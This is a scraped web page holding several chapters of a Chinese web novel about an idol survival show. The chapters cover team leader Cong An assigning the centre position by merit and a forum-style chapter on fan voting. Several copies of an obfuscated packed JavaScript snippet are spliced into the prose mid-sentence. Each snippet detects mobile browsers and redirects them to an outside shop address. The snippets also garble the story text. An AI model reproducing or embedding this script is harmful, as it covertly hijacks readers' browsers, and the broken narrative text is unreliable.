但从安记得他,因为在主题曲考核那一天,从安亲眼看着他从人群里走出,拦在师启面前,当着所有练习生乃至镜头的面,大声表达自己对从安成绩的质疑。 43.让舞台留下去 当时许安霖的行为突兀且冒昧,充满了刻意,从安很难不记住。 后来从安偶尔和许安霖擦肩而过,对上的也都不是什么善意的目光。 但是没关系。 从安看向许安霖。 他坐在离从安最远的位置,低着头,头发散落遮住了他的眼睛。 许安霖很瘦,瘦到从安可以清晰看见对方衣服下方突起的肩胛骨;他的皮肤很白,在脖颈和头发的交界处,形成鲜明的黑白分界。 哪怕从安此刻看不见许安霖的脸,但依然从许安霖身上感受到了一种浓重的气质——脆弱。 这种脆弱,如果放在《坠落》关于沉沦、失控的语境里,将会是绝佳的吸引力。 许安霖之前想做什么并不重要,他对从安的看法也不重要。 从安不在乎这些。 他相信许安霖在舞台面前,会清楚自己应该做什么。 所有人都看完了DEMO,但没有人率先说话,现场陷入了诡异的沉默,只有不远处安文乐组低低的讨论声在练习室蔓延。 从安等了一会儿,还是没人主动开口说话,身为队长的他开始控流程。 “我们先选C位吧,有谁想当C位的吗?” 话音一落,所有人瞬间看向了从安。 C位,谁不想要? 一个舞台最出彩的位置,最能给人留下印象的位置,最特别的位置,在这个一切为了吸引注意力的节目里,C位就是吸引注意力绝佳的载体。 但在场众人都没想到,从安居然会主动开口问他们谁想要C位。 要知道从安不仅是他们这支队伍的队长,更是主题曲的C位。 队长,意味着话语权,主题曲C位,则意味着对方的实力和表现力。 在对于C位的争夺上,从安先天比他们有优势。 但从安既然问了—— “我想当。”许安霖几乎是迫不及待地举起了手。 “我!”沈言和楚沛紧随其后。 从安看向没出声的李瑞和车明杰。 李瑞耸耸肩,摇头,看起来对C位没什么兴趣。 车明杰拿着平板,滑动进度条:“我想要这个DANCE BREACK。” 《坠落》的DANCE BREACK是一段独舞,所有人都退到后面,只剩下表演者一个人站在前面舞蹈,几乎完全是他一个人的舞台。 十分吸睛,同时也对表演者的舞蹈实力有一定要求。 从这部分而言,确实十分适合车明杰。 众人说完自己想要的部分,又再次安静下来,说要C位的三人,更是一眨不眨地看着从安。 从安微微颔首,既没说好也没说不好,反而又抛出一个问题。 “你们对这首歌有什么想法?” 突然的问题让众人愣了一下,但很快又反应过来。 虽然他们上一秒还在说C位,但C位只有一个,而想当C位的却有三人,看来现在的这个问题,和C位的挑选有不小关系。 许安霖轻咳一声,正要说话,沈言的声音先一步响了起来。 “我觉得这不是一首强硬的歌。”沈言说出自己的想法,还故意看了许安霖一眼,嘴角勾起一抹笑,“它很柔和,很缠绵,表达了不断下陷、坠落,想挣扎,却无能为力的感觉。” 柔和,缠绵,不正适合跳现代舞的他吗? 许安霖立刻反驳:“哪里有无能为力?分明一直在反抗挣扎,面对不断的坠落,一直想停下,并为此付出了许多努力,只是努力没有效果。” “挣扎?有吗?在哪里?你看DEMO了吗?哪里表达了这个意思?” “这里啊!”许安霖立刻拿起平板。 沈言看了一眼就开始摇头,“这里哪里是这样?你的理解有问题吧。” 许安霖很想翻白眼。 沈言这完全就是睁眼说瞎话,为了自己能当C位,根本就在曲解这首歌的表达。 楚沛左看一眼右看一眼,没有加入。 “既然你们都明白这首歌的感觉,那我现在说一下为什么选择你们。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069685|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >从安的声音让所有人都看向了他,原本还想说两句的许安霖顿时不说了,从安身为队长,身为把他们选进队伍里的人,他的意见还是得听两句。 “就一点,感觉。”从安的音量并不是很大,他仔细地说着自己对这首歌曲的理解,“这首歌比起其他歌曲,对声乐和舞蹈的要求都不是最高的,比起一定要顶到多高的高音,或者一定要跳出怎样整齐的舞蹈动作,这首歌曲更多的侧重于一种整体的氛围,在一公这个队伍中成员水平参差不齐的阶段,选择这样的歌曲,是最能够凸显出每个人的特色的。” 李瑞恍然大悟。 他就说,从安作为主题曲第一名,第一个选择歌曲的人,整整八首歌曲,他选择哪首都行,但为什么偏偏选择了《坠落》。 从安分明有着极强的唱跳实力,可以选择更凸显他自己能力的《燎原》,《破晓之前》,《机械心跳》……这些歌难度不低,但以从安的实力,选择这些歌曲只会发挥他的长处。 但是从安没有选择这些唱跳歌曲,而是出乎所有人预料的选择了《坠落》。 “舞台从来不是一个人的舞台,只有舞台上的每个人都沉浸其中,都尽情展现,才能让这个舞台精彩,才能让观众喜欢。” “而坠落,是最容易做到这一点的歌。” 李瑞明白了从安的想法。 “所以,你是想让所有人表现,才选择了这首歌?” 从安摇头:“也不全是,我也是为了我自己考虑。现在只是一公,一个队伍里面的成员肯定不会全都实力很强,这个时候如果选择了刀群舞类型的歌曲,因为实力的不同,最后舞台的呈现不一定会好,舞台不精彩,观众又怎么会停下来看?观众不看,又怎么会有人给我们投票?” “舞台才是我们的基础,舞台是观众认识我们的开端,也是她们最终留下来的原因,所以舞台是最重要的。” “我想做的是一个完美的舞台。” “不仅是为了在一公赢得比拼,更是为了能让这个舞台留下去,成为大家认识我的原因。” 44.(论坛体)分组和投票 【一公分组已出】 【这次的选曲有点东西哦】 【一公居然要淘汰40个人吗,会不会太多了】 【节目组这个选人的规则对A组的人好不公平啊】 【一公比拼预测】 —— 【主楼】 现在分组和选曲都出来了,根据今天第一天的情况,大家来猜猜最后现场同首歌曲是A组还是B组赢吧 1楼 这咋猜?说是现场投票,但现场观众还真能看练习生的表现吗?不都是看谁家到场的粉丝多,谁的票数就会高 2楼 回复1楼 那么多人呢,也不可能被一家粉丝全占了 粉丝除了投自担,其他人也是会投的吧 所以现场就是要看,谁的舞台在除了自担之外,更吸引她们了呗 3楼 我觉得B组很难赢 4楼 回复3楼 啊?为啥啊 B组的配置也不差吧,他们可以先选队友,我看他们选择的队友都挺厉害的 5楼 回复4楼 但是A组有更强的队长啊 虽然节目组为了平衡,把选择权先交给了B组,但是实力最强的人都已经被拎出来做队长了,剩下的人都是没那么全面的 看今天他们在练习室的表现就知道了吧 B组的队长看起来气势都比A组的队长弱了好多 像师启,经验丰富,对各种类型的歌曲都十分擅长,拿到一首歌,很快就能分析拆解,其他人也对他很信服,他们队很快就分完了PART,投入练习,练习开始之后更是,师启自己不仅学得又快又好,还能带着其他人一起练,给别人调整动作,再看看他的B组郑泽宇他们,光是分PART都分了半天,人人都想当C位,人人都想凸显自己,郑泽宇还一副老好人的模样在哪里和稀泥,我真是看笑了 还有查舟,混血真的是外貌优势,往那儿一站气场就冲天了好吗,开口一说话,都没人敢插嘴,他们B组队长吴昊天我真是不想说,分个PART搞得跟当特务似的,还要一个一个单聊,还说什么尊重个人意愿,结果我看他们分出来的PART,也没每个人都表演到自己想表演的部分啊 我今天就看了这两组,其他组的情况我不好说,但从这两组看,我觉得B组悬 6楼 回复5楼 我看了柯子晋的《燎原》组,也差不多 其实很好理解吧,A组的队长本来就是主题曲最强的八个人,他们能在主题曲拿下那么好的成绩,实力肯定是不用说的 然后有A班的光环在,被他们选进队伍里面的练习生,对他们也是信任 但是B组自荐的那些队长,我看完全没有竞争,根本就是只要举手了,只要排名靠前,就能当队长 这不是搞笑呢吗? B班的也就算了,谁敢看C班的,D班的当队长? 好歹没有F班的队长 不然我真的要为他们捏一把汗了 7楼 回复6楼 话也不能这么说吧,实力不是全部啊,不然还选什么秀,直接实力比赛,实力最强的九个人组团出道就好了 选秀看到又不止是实力 还有很多其他的东西 外貌、性格啊、为人啊…… 当队长也是啊,实力是当队长最不重要的东西了,如果只要求队长的实力,那要老师来干嘛? 当队长最重要的还是协调队员之间的关系,让这个队伍能齐心协力地为了一个目标奋斗 我看B组的陆深就做的很不错,跟他同一首歌A组的闻辰就做的不好 闻辰性格太弱了,完全被他的队友们压住了,我看他队友们小心思也很多,他们这组PK最后结果很难说哦 8楼 大家居然真的在讨实力,这种时候不应该看人气吗 第一轮投票正在如火如荼进行之中,人气高低很明显了吧 9楼 回复8楼 票池那么小,路人都没下场,全是秀粉自嗨,这种排名有什么好说的 10楼 回复9楼 这话骗骗自己就得了,真是因为排名没什么好说的吗? 难道不是因为票数被养成系吊打,脸上没面子在这里挽尊吗? 你们要不看看这几天组里开了多少黑帖,嫉妒疯了吧 …… 【谁在看排名,这个票数是不是有问题】 —— 【主楼】 投票通道不是才开了一天吗,怎么有个人就断层了? 1楼 我也是想说,某个人的票数超出的太多了吧 会不会有点假了 2楼 看到这个帖子突然想起今天还没投票 去看了一眼还真是 一天而已发生了什么?怎么有个人的票数飞出去了 害我数了好几遍,生怕自己看错了位数 3楼 投票通道开启第二天就有人做票吗?不至于吧 …… 27楼 专门去看了一眼,所以你们说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082628|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是从安?你们怀疑从安做票? …… 31楼 从安粉丝来说明一下,我们家从知道从安要参加选秀的时候就开始准备了 到目前为止,投票群已经开了二十个,每个都是百人群,每天都在群里打卡,群里面好多人都不止一个账号,朋友的,亲戚的,都拿来投票了 甚至人手五个账号的核心群,也已经开到第五个了 我想说,怀疑票数有问题的人,能不能先花一分钟时间在网上搜索一下? 这些群聊链接都是公开的,所有人都可以看见数据,甚至数据组的互动链接下面,每天的互动数量都在越来越多 从安的票数是我们一票一票投出来的,没有任何黑幕,更没有做票之说 …… 59楼 从安粉丝真是组织有序,有点太牛了 60楼 回复59楼 怎么说? 61楼 回复60楼 围观了两天,我发现可能是怕发现大家怀疑她们做票,所以从第二天起,她们每天投票,都会专门在微博上说明 同时为了防止同一时间票数增加过多,导致票数出现问题,她们还专门分了不同时间段投票 我发现按照她们发的时间节点,去投票页面看,从安的票数还真就多了 拉了统计图,完全就是一个规律的起伏线条啊 这就是养成系吗,这哪里是粉丝,完全就是一支军队啊 …… 118楼 不是,从安的粉丝就每天那么多人那么多号去投票?这是不是有些犯规了? 对其他练习生不公平吧? 其他练习生在这个节目之前,根本没有人认识他们,也没有粉丝,但从安公开了六年,积累了六年的粉丝,这能放到一起比? 其他练习生哪里来那么死忠的粉丝,天天拿着那么多账号给练习生投票? 从安粉丝天天在那里号召,在那里响应,在那里投票,其他人拿什么比? 119楼 回复120楼 这也怪不了从安粉丝吧 从安参加了选秀,她们肯定是要投票的啊 只是现在节目刚开播,坚持每天投票的粉丝确实不多,和从安的粉丝没得比 但等节目后期,票池大起来,从安粉丝的这点票也就算不了什么了 我看其他人气高的练习生,其实票数也不低,和前年同期节目比起来还多了一些的,只能说今年从安粉丝太能投,所以才显得他们的票数少了 …… 45.想要的东西自己拿 “……所以,我们先达成一切为了展现一个更优秀的舞台,为了给观众带来更好的体验,这样的共识,可以吗?”说完自己对《坠落》的想法之后,从安最后总结道。 “当然。”车明杰率先回应。 李瑞跟着点头。 楚沛和沈言没有说话。 从安的话没有什么好反驳的,他的一字一句都说得很对。 无论是他对这首歌的想法,还是选择他们的原因,又或者对这个舞台的期望。 本身大家不管对舞台有什么样的想法,最重要的,肯定不会是希望自己在节目里留下一个糟糕的舞台。 不管最后能不能成团出道,在离开之前,肯定要表现得更好一些。 而舞台,是最能直观展现他们表现的东西之一。 “因此,每个人的定位,我们根据最佳表演法则,不看个人意愿,只考虑大家在这个部分的适配度,C位的选择也同样,谁最适合这首歌曲的定位,谁就当C位。”见没人反驳,从安接着开口,“现在时间不早,大家先去食堂吃饭,下午一点我们在这里集合,到时候我们重新讨论对这首歌曲的理解,然后选出最适合这首歌曲的C位,和每个人的PART。” 于是,从安组最先结束了上午的拍摄。 等一行人离开练习室下了楼,工作人员才跟了上来。 被工作人员拦下来的时候,李瑞还有些没反应过来。 “怎么了吗?” 工作人员手上拿着对讲机,听见李瑞的问题,她才更想问怎么了。 “你们要去哪儿?还在拍摄呢。” 众人:“……” 是哦,还在拍摄呢,安文乐组还在练习室待着,甚至走廊上也一片寂静,空无一人,只有他们六个人站在走廊上,活像逃课的学生。 现在还被老师抓了个正着。 而带领他们逃课的罪魁祸首……李瑞看向从安。 从安上前一步,十分有担当地站在了所有人面前,直面拦下他们质问的工作人员:“姐姐,我看了今天的通告,接下来只有分PART录制和自主练习,这个录制并没有限制必须在现在完成吧,我们打算下午回来再进行这个环节,现在也不是要是休息,是给大家更多时间考虑自己想要哪个PART,等下午回来了,我们很快就会决定好的。” 落落大方,有理有据,李瑞看着从安的背影,简直像是发着光。 虽然拦下他们的工作人员只是一名看起来瘦瘦小小的女生,但是李瑞一直都很听工作人员的话,还没对她们反驳过什么。 而从安,开口一句姐姐拉近距离,然后根据通告表阐明自己并没有无视录制安排,再说明了自己的想法。 如此从容,完全戳中了李瑞的心巴。 侧眼一看,旁边的沈言和和许安霖都已经呆住了。 是的,这就是来自大公司练习生从安的余裕。 在其他人对工作人员或是生疏或是热情或是讨好的时候,从安面对工作人员,从来是公事公办的自如。 不仅是面对工作人员,面对节目组,面对节目规则和录制,李瑞也从来没在从安身上看见紧张和拘束。 仿佛他生来就是为了活在镜头下的一样。 李瑞在心里悄悄叹了一口气。 但是从安他确实在这方面,比他们经验丰富太多太多。 这种从容感,不是他刻意想做就能做到的。 得要多年的积累,才能让自己从容啊。 工作人员听完从安的回答愣了一下,虽然看见从安组集体离开练习室,她连忙追出来询问,但从安说的也没毛病。 今天的录制并没有规定具体的时间。 整体来说就是几个大的安排,先录制一公选曲和分组,再录制每队的情况,然后进行基础的自主练习……这其中的时间相当弹性,完全是随着录制进度调整。 所以,从安他们现在离开,好像没毛病? 这么一想,工作人员点点头,侧身示意从安等人离开。 空荡的走廊内,响起了从安组离开的脚步声。 等走出了拍摄的大楼,许安霖还有些没反应过来。 他们上午的录制居然就这么结束了? 甚至他们该做的事情还没做——虽然从安说了下午做——但这个时间也太自由了吧。 “下午一点,在练习室集合。”从安对着自己新鲜出炉的队友们点点头,说完转身就准备离开。 “等下,你现在要干嘛?”李瑞连忙拉住从安。 “去吃饭。” “现在?”李瑞抬手看表,十一点,“食堂还没开门吧。” “没事,在那儿坐着等,然后思考一下这首歌。” 李瑞不说话了。 是了,他们现在虽然离开了,但从安跟他们说的,就是让他们思考这首歌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17090856|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 曲,考虑自己的PART,然后下午选择C位以及分PART,并不是单纯吃饭来的。 “那我和你一起去食堂吧。”李瑞说道。 “我也一起!”车明杰立刻开口。 从安点头。 三人看向没说话的沈言,楚沛和许安霖。 许安霖:“我现在先不去食堂。” 沈言:“我也不去。” 楚沛:“你们去吧。” 见状,从安也没多说什么,和车明杰,李瑞一起离开了。 留下许安霖三人站在原地你看着我,我看着你。 气氛说来很微妙,一个队伍六个人,现在被分成三三的两组,但许安霖觉得这是肯定的。 总是附和从安的李瑞,主题曲的时候和从安一直在C班,两人相处的时间最多,自然关系好。 而车明杰和从安一样,都是大公司出来的练习生。 比起他们这种小公司毫无背景的练习生来说,大公司的练习生天然就有优势,哪怕都是毫无粉丝基础的练习生,但他们会因为公司背景,获得更多的关注,更会因为公司的运作,在节目里得到更多的镜头。 虽然今年因为直播的原因,看似每个人的镜头都变得更多了,但每个人都有直播,不就和每个人都没有直播一样吗! 那么多直播间,那么多人,观众为什么要来看你? 这个问题就像一个魔咒,每时每刻都缠在许安霖的心上。 镜头,关注,分量,粉丝……为了这些东西,许安霖知道自己得做些什么。 而对从安的质疑,是他做的事情之一。 但很可惜,这件事看来没什么用。 既没因此和师启打好关系,也没让从安的口碑受到影响,甚至因为当时录制结束,直播间关闭了声音,切换为了框柱整个演播厅的大全景,线上观众根本没有几个人注意到这个小小的角落,许安霖搜遍了整个互联网,也只在论坛找到了一个仅有六条回复的帖子。 呵,这就是小公司练习生的困境。 连这种拼命的挣扎,也掀不起丝毫水花。 看着从安三人离开的背影,许安霖垂下了眼睛。 从安那些道貌岸然的话,他根本不想听。 最佳演绎原则?狗屁。 不过是有背景的高人气练习生的高傲罢了。 许安霖只知道,想要什么东西,就得自己去拿。 46.该去当演员 “你们怎么说?”等从安三人走远了,许安霖看向沈言和楚沛。 他们三个下位圈的小可怜,就这样被三个上位圈的抛弃了。 “我打算去一趟便利店。”楚沛摸着肚子,“饿了。” 许安霖:“……” 许安霖微笑:“我是问,你们对这个舞台怎么说。” 两人:“……” 见两人不说话,许安霖笑容更深:“我想当C位,你们给我投票吧。” * 下午一点,从安准时出现在练习室。 他的新鲜队友们已经在属于他们的蓝色区域坐着了,而红色区域,安文乐和他的队友们正在那里如火如荼地练习。 不知是一直从上午练习到现在,还是吃完饭休息回来了。 从安走到自己的队友身边坐下。 人已到齐,从安也没过多寒暄,直奔主题。 “接下来我们先开始选择C位。” “有想当C位的吗?” 李瑞、许安霖和沈言都举起了手。 然后从安也举起了手。 许安霖看着从安的手,忍不住张大了眼睛。 已经当了队长了,居然还想当C位吗? 真是好厚的脸皮。 收回手,从安接着开口:“既然这么多人都想当,那接下来我们来说一下……嗯,竞选宣言。” 虽然好像只是一个舞台C位,但这是选秀节目中第一次公演的舞台,也是第一次直面观众的舞台,其重要性不言而喻。 在这样一个舞台中当C位,应该也称得上竞选吧。 从安说完,其他人没立刻开口,互相看了几眼,明显都是想先听听别人怎么说。 见状,从安抬手示意:“那就我先说吧。” “我对这首歌曲的理解,就是我上午说的那些,如果我成为了C位,我会努力贴合这首歌的氛围,在镜头前展现出这种感觉,同时也会多加练习,如果大家觉得有任何问题,我也会立刻改正,争取做到最好。” 从安并不知道这种争取C位的话该怎么说,说到底,他以前也没当过C位。 在他过去五年多的练习生涯里,开始的时候,老师会分配每个人表演的部分,等后来他们长大了一些,老师会根据人气来分配表演的部分,等再长大一些,每个人心里都有了一杆秤,谁人气高,谁擅长什么,在拿到要表演的歌曲时,这首歌每个人会表演的PART,也自然而然出现在了每个人心中。 这种需要自我争取的发言,从安属实是经验不多。 而且以前年纪还小,受限于形象限制,从安表演得更多的都是可爱青春类型的歌曲,在舞台上蹦蹦跳跳,笑容灿烂,眨眼卖萌,堪称是可爱典范。 直到他们自己的出道综艺开始录制,从安才渐渐的尝试了一些风格不一样的歌曲。 而现在《坠落》的风格……从安以前从没尝试过。 但谁都有第一次,没做过不一定做不好。 从安想争取。 从安说完了,李瑞跟在他后面开口。 “我觉得上午从安对这首歌的分析没有问题,比起硬实力,这首歌更看重氛围,本人不才,对演技……”李瑞羞涩地笑笑:“略通一二。” “而且我跳舞也还可以,所以我觉得跳舞加上表演的话,我可以做到。” 李瑞说完,众人看向沈言。 沈言捏着裤子,有些紧张,深吸了一口气,“我是学习现代舞的,我的身体控制能力很好,我的柔韧性也很好,能做很多高难度动作,可以更好的消化舞蹈动作,而且从外形上而言,我也很符合这首歌曲的风格,所以,我想当C位。” 最后,轮到了许安霖。 许安霖抬眼,正和看过来的从安对上视线。 想当C位的人一共有四个,而从安自己也想当C位,他和李瑞关系好,李瑞虽然自己也想当C位,但是给别人投票的话,李瑞毫无疑问会投给从安。 车明杰和在场的这几个人都不大熟,看起来给谁投票都有可能,但中午的时候他和从安一起离开了,谁也不知道他们私下里说了什么。 至于沈言和楚沛…… 两个畏畏缩缩的墙头草,没什么好说的。 许安霖坐直身体,F班的绿色训练服,在他身上显得格外清爽。 “这首歌《坠落》,从歌词和原版MV中,我们可以知道它想表达的是一种被诱惑然后下坠的感觉。” “这种感觉要怎样才能表达呢?怎样才能让人印象深刻呢?” “世人都喜欢看上位者俯首,看强硬者低头……那么怎样的下坠,才最能让人痛心?” “要洁白,要如雪,要天上的明月,永不被玷污的白玉,然后一朝破碎,沾满尘埃。” 许安霖坐在地上侃侃而谈,挺直的身板配上他自信的面庞,就像一根昂扬的青竹。 听着他的话,从安目光闪了闪。 他选许安霖,单纯是因为对方长得好看。 选到最后一轮时,场上剩下的十几名练习生都是F班的,在三天的主题曲练习考核下,实力被非常准确地测试了出来。 B班的人不一定比A班弱,但F班的人肯定实力不好。 而在这么多人里找一个实力更好的? 从安觉得自己找不到。 所以他只能从外表出发,选择了一个好看,且更符合歌曲风格的人。 选完之后他才想起来对方在主题曲考核那天,和他还有些矛盾。 就是不知道那时许安霖是真心的,还是故意的了。 从安倾向于后者。 选的时候没抱希望,但从安没想到对方此时竟然给了他一点惊喜。 舞台表演从不是单纯的唱歌跳舞,在唱跳之外,感情也十分重要。 只有舞台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103532|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人真的相信,真的投入,舞台下的观众才会被影响,被感染,被带入到舞台中去。 这样舞台才能成为完整的一体。 无论是舞台上的表演者,还是舞台下的观看者。 而此刻正在说话的许安霖,哪怕表演还没开始,但他看起来就已经十分投入地相信了自己所说的话。 至少从安自己被他带动,感受到了他的情绪。 不过话是说完了,但选C位也不能是这么三言两语就能决定的东西。 从安拿起平板,把进度条滑到C位表演的部分。 一段被其他人簇拥着,在中间挣扎的舞蹈。 舞者在视频中高举着双手,面对周围不断抓住他的手臂,他扭动着身体,试图逃离。 但周围的手臂太多,太挤,他一个人毫无反抗之力,最后就这样被抓着,成为了群体的一员。 一个很短的片段,舞蹈难度几乎等同于没有,但表演的难度却不小。 这样的动作谁都能跳,但能不能让观众看到之后被打动,就不是谁都能做到的了。 不需要其他人配合,四个争取C位的人一一站起来当着众人的面,无实物地演绎了一番被抓住挣扎然后被同化的片段。 说实话,没音乐没氛围没伴舞,就这样光自己跳,实在是尴尬。 从安哪怕自觉经验丰富,但在面对五双目不转睛的目光,和旁边看似在专心练习,但不断瞟来的安文乐等人,也实在无法特别自如。 动作和表情都难免收敛。 费心费力地表演完这一段,坐到地上时,还觉得脸颊发烫,有些窘迫。 李瑞,沈言两人同样表演了一番,说不上什么好不好,但没有吸引住从安的目光。 最后许安霖站了起来。 从安看了过去,然后不由自主愣住了。 该说不愧是能当着整个演播厅练习生的面,上演向师启控诉片段的人吗?许安霖的表现简直毫无尴尬,自然地好像他不是在练习室,不是穿着训练服,而是他真的在被诱惑,在挣扎,最后被同化。 尤其是许安霖的表情,那空茫中混合着期盼的目光,让从安一看就心一震,好像看见了什么东西被打碎,被重组的过程。 没有前情,没有后续,但只这一眼,从安就感受到了心痛。 这哪里是F班,从安觉得许安霖不该来这里,他该去当演员。 表演结束,许安霖没急着坐下。 他站着看向坐着的队友们。 五个人,五双眼睛,此刻都一眨不眨地盯着他。 许安霖喜欢被注视,也享受被注视,而此刻他正在被注视。 他从这五双眼睛里看见了惊艳。 既然如此—— 许安霖看向从安。 这个道貌岸然,满口‘实话’的队长,真的会如他自己所说,根据最佳演绎法则,将这个C位拱手给别人吗? 47.C位投票 表演结束,就到了投票环节。 从安示意六个人围坐成一圈,三秒倒计时后,投出自己认为最适合的人选。 “三,二,一。” 话音落下,从安伸出手指向了许安霖。 没有犹豫,没有拖泥带水,就像他之前宣布任何决定时一样干脆。 “我选许安霖。”从安说。 声音平静,却在许安霖耳中炸开。 他……选我? 许安霖睁大了眼睛,嘴唇微张,几乎以为自己听错了。 他想过很多种可能—— 从安可能会选自己,可能会选李瑞,甚至可能选沈言。 但他没想过,从安会这么直接,这么毫不犹豫地指向他。 更没想过,会是第一个。 按照从安和李瑞的关系,按照车明杰的人气和实力,哪怕从安想选他,难道不应该先犹豫一下做个姿态吗? 怎么可能这么干脆,这么利落,这么理直气壮。 许安霖感觉到自己的心脏在胸腔里剧烈地跳动,砰砰砰,像是要撞出来。 然后,他看见李瑞也举起了手。 李瑞看了看从安,又看了看许安霖,然后点点头:“我也选许安霖。” 车明杰几乎同时举手:“许安霖!刚才那段看得我鸡皮疙瘩都起来了!” 三个人了。 沈言坐在那里,手指无意识地蜷了蜷。 他看着许安霖,又看向从安,最后垂下眼睛,声音很轻:“……许安霖。” 四票。 所有人的目光都落在最后一个还没投票的楚沛身上。 楚沛打了个哈欠,懒洋洋地举起手:“许安霖。” 五票。 全票通过。 许安霖坐在原地,一动不动。 他的大脑一片空白,只有那个数字在反复回响。 五票,全票,所有人,都选了他。 一个F班的练习生。 而投给他票的人里,有A班的从安,有B班的车明杰,有和从安关系那么好的李瑞…… 为什么? 他只是一名F班的练习生,没有实力,也没有人气,更没有背景。 在有从安,有车明杰,有李瑞的队伍里,他全票成为了C位。 为什么? 许安霖的目光死死盯着从安。 从安的表情很平静,甚至在他看过去的时候,还对他点了点头,像是某种确认。 ——我选你,是因为你刚才的表现最好。 ——我说过,按适配度来。 ——我说到做到。 从安的眼神里明明白白地写着这些。 没有阴谋,没有算计,没有虚伪的客套。 就是最简单、最直接的判断:刚才四个人里,你演得最好,所以选你。 简单到让许安霖觉得荒谬。 怎么可能?在这个圈子里混了这么久,他见过太多表面一套背后一套的人,听过太多冠冕堂皇的借口。 公平?适配度?谁信啊?不都是看人气,看背景,看关系吗? 可是现在,从安用五根手指,一个简单的投票,把他过去深信不疑的那套规则撕开了一个口子。 “……许安霖?”李瑞的声音把他拉回现实,“你没事吧?” 许安霖猛地回过神,才发现所有人都在看他。 他张了张嘴,想说什么,喉咙却像被什么堵住了。 “我……”他的声音有点哑,“谢谢大家。” 从安点点头,没有再多说什么,直接进入下一项:“C位确定了,现在分Part,你们有自己想选的Part吗?” C位已经确定,剩下的Part就不需要过多纠结了。 每个人按照自己擅长的部分,很快敲定了自己的Part。 Dance Break部分,车明杰。 副主唱A段,李瑞。 副主唱B段,沈言。 主唱段落,楚沛。 Bridge过渡段落,从安。 分Part全程不超过三分钟,没有任何争论,没有任何拉扯。 三言两语,就结束了这个环节。 干脆得不可思议。 “好了。”从安收起平板,“现在开始练习。车明杰,我们先扒舞,其他人对照歌词和音乐,熟悉自己的演唱段落,怎么样?” 车明杰一个翻身,轻巧站起,“没问题!” 其他人也拿着平板忙碌起来。 转瞬间,练习室右侧的蓝色区域,就进入了工作状态。 车明杰凑到从安身边,两人拿着平板,对着舞蹈视频开始分解动作。 从安看得很安静,车明杰一边看身体就一边跟着动作,等看了两遍之后,两个人都已经能跟着平板上播放的视频,大差不差地跳舞了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111903|190127||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 另一边,李瑞、沈言、楚沛戴上耳机,开始反复听自己的段落。 许安霖作为C位,分量最多,需要熟悉整首歌的走位和镜头,他坐在中间,看着平板上的动线图,脑子里却还在回放刚才投票的画面。 全票通过…… 他深吸一口气,强迫自己集中注意力。 现在不是发呆的时候,他拿到了C位,就必须对得起这五票。 时间一分一秒过去。 练习室左侧的红色区域,安文乐组也在练习。 他们的进度比从安组快得多。 上午就分完了Part,现在已经能跟着音乐勉强跳下大半首了。 但安文乐的目光,总是不由自主地飘向右侧。 他看见了从安组的投票过程。 那么快,那么干脆。 他也看见了许安霖当选时脸上那种混杂着震惊和茫然的表情。 安文乐在心里苦笑。 如果是他,他会怎么选? ——不,不用如果,他已经选了。 他们组里唯一的那名B班练习生,那名等级最高的练习生,成为了C位。 实力有保障,选他当C位,其他队员不会有意见,训练起来也顺利。 这才是最稳妥的做法,不是吗? 可是从安选了许安霖。 一个F班的,实力最弱的,甚至之前还公开质疑过他的练习生。 为什么? 因为从安不在乎那些稳妥,不在乎那些人情世故。 他从头到尾在乎的只有一件事——舞台效果。 谁最适合,就选谁。 